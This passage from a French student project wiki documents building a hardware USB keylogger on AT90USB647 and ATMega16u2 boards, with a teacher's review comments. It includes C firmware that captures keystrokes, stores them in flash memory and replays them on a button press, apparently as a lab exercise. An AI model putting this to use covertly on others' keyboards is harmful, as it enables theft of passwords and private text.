&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
// Et ça m'affiche le caractère A sur l'écran LED&lt;br /&gt;
putchar('A');&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Fichier:Arduino-LCD &amp;amp; At90.jpg|centré|vignette|Montage Arduino/LCD &amp;amp; KeyLogger]]&lt;br /&gt;
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.&lt;br /&gt;
&lt;br /&gt;
ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?&lt;br /&gt;
&lt;br /&gt;
Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.&lt;br /&gt;
&lt;br /&gt;
ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.&lt;br /&gt;
&lt;br /&gt;
'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)&lt;br /&gt;
&lt;br /&gt;
J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.&lt;br /&gt;
&lt;br /&gt;
Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.&lt;br /&gt;
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]&lt;br /&gt;
&lt;br /&gt;
ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.&lt;br /&gt;
&lt;br /&gt;
=== &amp;lt;u&amp;gt;Semaine 5&amp;lt;/u&amp;gt; ===&lt;br /&gt;
&lt;br /&gt;
==== Mémoire ====&lt;br /&gt;
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo test mémoire par commande&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.&lt;br /&gt;
&lt;br /&gt;
Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.&lt;br /&gt;
&lt;br /&gt;
Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Test mémoire en écriture et lecture&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].&lt;br /&gt;
&lt;br /&gt;
J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.&lt;br /&gt;
&lt;br /&gt;
ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).&lt;br /&gt;
&lt;br /&gt;
==== Gestion clavier USB ====&lt;br /&gt;
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]&amp;lt;ref&amp;gt;Vidéo démo du programme KeyboardHost sur l'AT90&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.&lt;br /&gt;
&lt;br /&gt;
On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.&lt;br /&gt;
&lt;br /&gt;
Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur&amp;lt;ref name=&amp;quot;:0&amp;quot; group=&amp;quot;Code associé&amp;quot;&amp;gt;Configuration de l'horloge&amp;lt;/ref&amp;gt;. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].&lt;br /&gt;
&lt;br /&gt;
ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).&lt;br /&gt;
&lt;br /&gt;
En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo AT90 et Arduino/LCD qui récupère les caractères&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]&lt;br /&gt;
&lt;br /&gt;
Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]&amp;lt;ref&amp;gt;Vidéo démo Clavier -&amp;gt; AT90 (USART) -&amp;gt; ATMEGA -&amp;gt; PC&amp;lt;/ref&amp;gt;. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).&lt;br /&gt;
&lt;br /&gt;
On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.&lt;br /&gt;
&lt;br /&gt;
ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).&lt;br /&gt;
&lt;br /&gt;
Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.&lt;br /&gt;
&lt;br /&gt;
ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.&lt;br /&gt;
&lt;br /&gt;
==== Keylogger ====&lt;br /&gt;
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.&lt;br /&gt;
&lt;br /&gt;
ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.&lt;br /&gt;
&lt;br /&gt;
Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
	CLKPR = (1&amp;lt;&amp;lt;CLKPCE);&lt;br /&gt;
	CLKPR = 0;&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
	MCUCR |= (1&amp;lt;&amp;lt;JTD);&lt;br /&gt;
&lt;br /&gt;
	SetupHardware();&lt;br /&gt;
&lt;br /&gt;
	puts_P(PSTR(ESC_FG_CYAN &amp;quot;Keyboard HID Host Demo running.\r\n&amp;quot; ESC_FG_WHITE));&lt;br /&gt;
&lt;br /&gt;
	LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);&lt;br /&gt;
	GlobalInterruptEnable();&lt;br /&gt;
&lt;br /&gt;
	/* Variable for the AT45DB641E */&lt;br /&gt;
	int page_start  		 = 0;&lt;br /&gt;
	int page_actual 		 = page_start;&lt;br /&gt;
	int page_buffer_size = 0;&lt;br /&gt;
&lt;br /&gt;
	for (;;)&lt;br /&gt;
	{&lt;br /&gt;
		KeyboardHost_Task(&amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
        Flash_Task(&amp;amp;page_start, &amp;amp;page_actual, &amp;amp;page_buffer_size);&lt;br /&gt;
		USB_USBTask();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// ...&lt;br /&gt;
&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
    // ...&lt;br /&gt;
    /* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
	if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
		 *page_buffer_size = 0;&lt;br /&gt;
		(*page_actual)++;&lt;br /&gt;
	}&lt;br /&gt;
    &lt;br /&gt;
    /* AT45DB641E communication  */&lt;br /&gt;
    /* Recup of the data of the actual page to re-write on */&lt;br /&gt;
    unsigned char data[FLASH_PAGE_SIZE];&lt;br /&gt;
    AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the Modifier and Keycode in the array */&lt;br /&gt;
    data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
    &lt;br /&gt;
    /* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
    AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
    &lt;br /&gt;
    /* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
    AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
    &lt;br /&gt;
    /* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
    while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
    	LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
    }&lt;br /&gt;
    LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
    &lt;br /&gt;
    /* Serial communication */&lt;br /&gt;
	Serial_SendByte(KeyCode);&lt;br /&gt;
	&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).&lt;br /&gt;
&lt;br /&gt;
Dans ma logique, j'utilise trois variables : &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; qui est la page où l'on commence l'écriture, &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui indique la page courante et &amp;lt;code&amp;gt;page_buffer_size&amp;lt;/code&amp;gt; qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.&lt;br /&gt;
&lt;br /&gt;
ReX : La variable &amp;lt;code&amp;gt;page_start&amp;lt;/code&amp;gt; me semble inutile.&lt;br /&gt;
&lt;br /&gt;
L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt;. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).&lt;br /&gt;
&lt;br /&gt;
Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction &amp;lt;code&amp;gt;Serial_SendData&amp;lt;/code&amp;gt; pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.&lt;br /&gt;
&lt;br /&gt;
ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique). &lt;br /&gt;
&lt;br /&gt;
ReX : Le problème pour l'envoi de l'octet &amp;lt;code&amp;gt;modifier&amp;lt;/code&amp;gt; est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;s&amp;gt;De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).&amp;lt;/s&amp;gt; Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t Command_Byte = Serial_ReceiveByte();&lt;br /&gt;
		uint8_t Ending_Byte;&lt;br /&gt;
		do {&lt;br /&gt;
			Ending_Byte = Serial_ReceiveByte();&lt;br /&gt;
		} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_RESET)&lt;br /&gt;
		{&lt;br /&gt;
			*page_actual 			= *page_start;&lt;br /&gt;
			*page_buffer_size = 0;&lt;br /&gt;
		}&lt;br /&gt;
&lt;br /&gt;
		if (Command_Byte == SERIAL_FLASH_GET)&lt;br /&gt;
		{&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
&lt;br /&gt;
			int address, j;&lt;br /&gt;
			for (address = (*page_start); address &amp;lt;= (*page_actual); address++)&lt;br /&gt;
			{&lt;br /&gt;
				AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
				for (j = 0; j &amp;lt; ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)&lt;br /&gt;
				{&lt;br /&gt;
					/* Communicating data by serial connection */&lt;br /&gt;
					while (!Serial_IsSendReady());&lt;br /&gt;
					Serial_SendByte(data[j]);&lt;br /&gt;
					Serial_SendByte(data[j+1]);&lt;br /&gt;
					while (!Serial_IsSendComplete());&lt;br /&gt;
					_delay_ms(50);&lt;br /&gt;
				}&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''&amp;lt;u&amp;gt;Explications :&amp;lt;/u&amp;gt;''' &lt;br /&gt;
&lt;br /&gt;
* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.&lt;br /&gt;
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.&lt;br /&gt;
* Ensuite on effectue une tâche selon le code:&lt;br /&gt;
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.&lt;br /&gt;
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.&lt;br /&gt;
*** On parcourt toutes les pages qui ont pu être enregistrées.&lt;br /&gt;
*** On récupère les touches tapées sur la page.&lt;br /&gt;
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).&lt;br /&gt;
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)&lt;br /&gt;
&lt;br /&gt;
A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à &amp;lt;code&amp;gt;page_actual&amp;lt;/code&amp;gt; qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt &amp;lt;codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.&lt;br /&gt;
&lt;br /&gt;
ReX : Le délai me paraît non nécessaire par contre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; sans attente entre les deux me paraît joueur. Sauf si &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; est bloquant mais je parierais pas.&lt;br /&gt;
&lt;br /&gt;
Concernant la fonction de gestion de la flash du côté de l'ATMega :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void Flash_Task(void)&lt;br /&gt;
{&lt;br /&gt;
	uint8_t ButtonStatus_LCL = Buttons_GetStatus();&lt;br /&gt;
&lt;br /&gt;
	/* Reset flash button */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON1){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_RESET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	/* Get all the flash */&lt;br /&gt;
	if (ButtonStatus_LCL &amp;amp; BUTTONS_BUTTON2){&lt;br /&gt;
		_delay_ms(200);&lt;br /&gt;
		Serial_SendByte(SERIAL_FLASH_GET);&lt;br /&gt;
		// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);&lt;br /&gt;
		while(!Serial_IsSendComplete());&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction &amp;lt;code&amp;gt;Flash_Task&amp;lt;/code&amp;gt; d'être executée plus d'une fois.&lt;br /&gt;
&lt;br /&gt;
ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.&lt;br /&gt;
&lt;br /&gt;
Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)&lt;br /&gt;
{&lt;br /&gt;
	/* Clear the report contents */&lt;br /&gt;
	memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));&lt;br /&gt;
&lt;br /&gt;
	if (Serial_IsCharReceived())&lt;br /&gt;
	{&lt;br /&gt;
		uint8_t ReceivedByte;&lt;br /&gt;
		ReportData-&amp;gt;KeyCode[0] = Serial_ReceiveByte();&lt;br /&gt;
		do {&lt;br /&gt;
			ReceivedByte = Serial_ReceiveByte();&lt;br /&gt;
		} while((ReceivedByte == 0xFF) || (ReceivedByte == ReportData-&amp;gt;KeyCode[0]));&lt;br /&gt;
&lt;br /&gt;
		ReportData-&amp;gt;Modifier = ReceivedByte;&lt;br /&gt;
	}&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Moui, ça peut marchouiller mais je préférerais une attente sur une valeur d'octet qui ne peut être ni un code de touche ni une valeur de modificateur (0xFF par exemple ne semble pas être un code de touche et il faudrait que toutes les touches modificatrices soient enfoncées en même temps pour que 0xFF soit une valeur de modificateur). Après avoir reçu cet octet, il suffit de lire la valeur du modificateur et les 6 octets des touches.&lt;br /&gt;
 &lt;br /&gt;
Et pour l'AT90 on observe l'ajout d'un appel de la fonction d'envoi d'octet :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot; line=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
void KeyboardHost_Task(int *page_actual, int *page_buffer_size)&lt;br /&gt;
{&lt;br /&gt;
	//..&lt;br /&gt;
&lt;br /&gt;
		uint8_t KeyCode  = KeyboardReport.KeyCode[0];&lt;br /&gt;
		uint8_t Modifier = KeyboardReport.Modifier;&lt;br /&gt;
&lt;br /&gt;
		/* Check if a key has been pressed */&lt;br /&gt;
		if (KeyCode)&lt;br /&gt;
		{&lt;br /&gt;
			/* Toggle status LED to indicate keypress */&lt;br /&gt;
			LEDs_TurnOnLEDs(LEDS_LED2);&lt;br /&gt;
&lt;br /&gt;
			/* Serial communication */&lt;br /&gt;
			Serial_SendByte(KeyCode);&lt;br /&gt;
			Serial_SendByte(Modifier);&lt;br /&gt;
&lt;br /&gt;
			/* Checking if the previous buffer was full to change pages or not */&lt;br /&gt;
			if (*page_buffer_size == FLASH_PAGE_SIZE) {&lt;br /&gt;
				 *page_buffer_size = 0;&lt;br /&gt;
				(*page_actual)++;&lt;br /&gt;
			}&lt;br /&gt;
&lt;br /&gt;
			/* AT45DB641E communication */&lt;br /&gt;
			/* Recup of the data of the actual page to re-write on */&lt;br /&gt;
			uint8_t data[FLASH_PAGE_SIZE];&lt;br /&gt;
			AT45DB641E_read_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the Modifier and Keycode in the array */&lt;br /&gt;
			data[(*page_buffer_size)++] = KeyCode;&lt;br /&gt;
			data[(*page_buffer_size)++] = Modifier;&lt;br /&gt;
&lt;br /&gt;
			/* Writing in the AT45DB641E buffer before writing in the flash */&lt;br /&gt;
			AT45DB641E_write_buffer(&amp;amp;SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);&lt;br /&gt;
&lt;br /&gt;
			/* Writing the buffer into the flash at page_actual address */&lt;br /&gt;
			AT45DB641E_write_page(&amp;amp;SPI_PORT, SPI_SS, *page_actual);&lt;br /&gt;
&lt;br /&gt;
			/* Waiting the flash finishing writing at page_actual address */&lt;br /&gt;
			while(AT45DB641E_busy(&amp;amp;SPI_PORT, SPI_SS)) {&lt;br /&gt;
				LEDs_TurnOnLEDs(LEDS_LED1);&lt;br /&gt;
			}&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED1);&lt;br /&gt;
&lt;br /&gt;
			LEDs_TurnOffLEDs(LEDS_LED2);&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	// ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ReX : Même remarque sur les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; consécutifs et sur la méthode pour envoyer modificateur et codes de touches.&lt;br /&gt;
&lt;br /&gt;
En effet, comme je l'avais dit lors de la présentation du précédent code, je n'arrivais pas encore à obtenir le code modifieur et donc récupérer deux octets. J'ai donc essayé de comprendre comment fonctionne la communication USART entre les deux microcontrôleurs. Et après quelques essais de code, j'ai observé qu'à chaque envoi d'octet via la liaison série et de la fonction &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt;, on reçoit d'abord un octet à 0xFF et ensuite l'octet de notre donnée, ce qui explique pourquoi on vérifie l'octet 0xFF dans les boucles while pour la lecture des octets transmis par la liaison série.&lt;br /&gt;
&lt;br /&gt;
ReX : Je ne crois pas à l'histoire du 0xFF, par contre je crois au recouvrement des deux envois. Tu testes avec un &amp;lt;code&amp;gt;while(!Serial_IsSendComplete());&amp;lt;/code&amp;gt; entre les deux &amp;lt;code&amp;gt;Serial_SendByte&amp;lt;/code&amp;gt; ?&lt;br /&gt;
&lt;br /&gt;
On peut retrouver les codes d'expérimentation pour comprendre le fonctionnement de la communication série avec le lien [[:Fichier:Keylogger Serial Testing.zip|ci-joint]].&lt;br /&gt;
&lt;br /&gt;
On peut voir beaucoup de ligne commentées, mais parmi elles, on peut observer les différents tests que j'ai pu effectuer pour comprendre la communication USART.&lt;br /&gt;
&lt;br /&gt;
On peut visionner la vidéo de démonstration du Keylogger via [[:Fichier:Keylogger demo video.mp4|ce lien]]&amp;lt;ref&amp;gt;Vidéo démo du Keylogger&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Dans la démo, on peut voir que des touches en trop sont tapées quand j'écris avec le clavier, même si je fais exprès d'écrire rapidement.&lt;br /&gt;
&lt;br /&gt;
ReX : Toujours une très bonne vidéo de démonstration.&lt;br /&gt;
&lt;br /&gt;
Par ailleurs, concernant l'initialisation des microcontrôleurs afin d'utiliser les deux programmes, c'est assez étrange mais il faut reset en premier l'AT90USB647 et dès que celui-ci est paré à fonctionner, il faut reset l'ATMEGA16U2. Sinon j'ai l'impression que d'anciens programmes se lance à la place des nouveaux ?&lt;br /&gt;
&lt;br /&gt;
ReX : Ils passent en mode DFU ?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Benjamin : Merci pour vos retours. J'ai apporté les modifications que vous avez demandés. J'ai téléverser une nouvelle version du Keylogger qui se trouve sur [[:Fichier:Keylogger.zip|ce lien]].&lt;br /&gt;
&lt;br /&gt;
==== Modification du Keylogger ====&lt;br /&gt;
Lien vers les programmes : [[:Fichier:Keylogger.zip|clic]]&lt;br /&gt;
&lt;br /&gt;
J'ai apporté des modifications sur l'envoi et la réception des données via la liaison série, et l'ajout d'un buffer temporaire avant d'enregistrer dans la flash. De plus, j'utilise des fonctions de &amp;lt;code&amp;gt;string.h&amp;lt;/code&amp;gt; afin de rendre le code plus lisible lorsque je veux assigner des valeurs à des tableaux via les fonctions &amp;lt;code&amp;gt;memset&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;memcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Concernant les envoies d'octets via la liaison série, j'ai donc rajouté des délais avec les fonctions de la librairie &amp;lt;code&amp;gt;Serial.h&amp;lt;/code&amp;gt; de LUFA. Le déroulé se passe comme ci-dessous :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
while(!Serial_IsSendReady());&lt;br /&gt;
Serial_SendData(tableau_de_7_octets);&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
.....&lt;br /&gt;
while(!Serial_IsSendComplete());&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
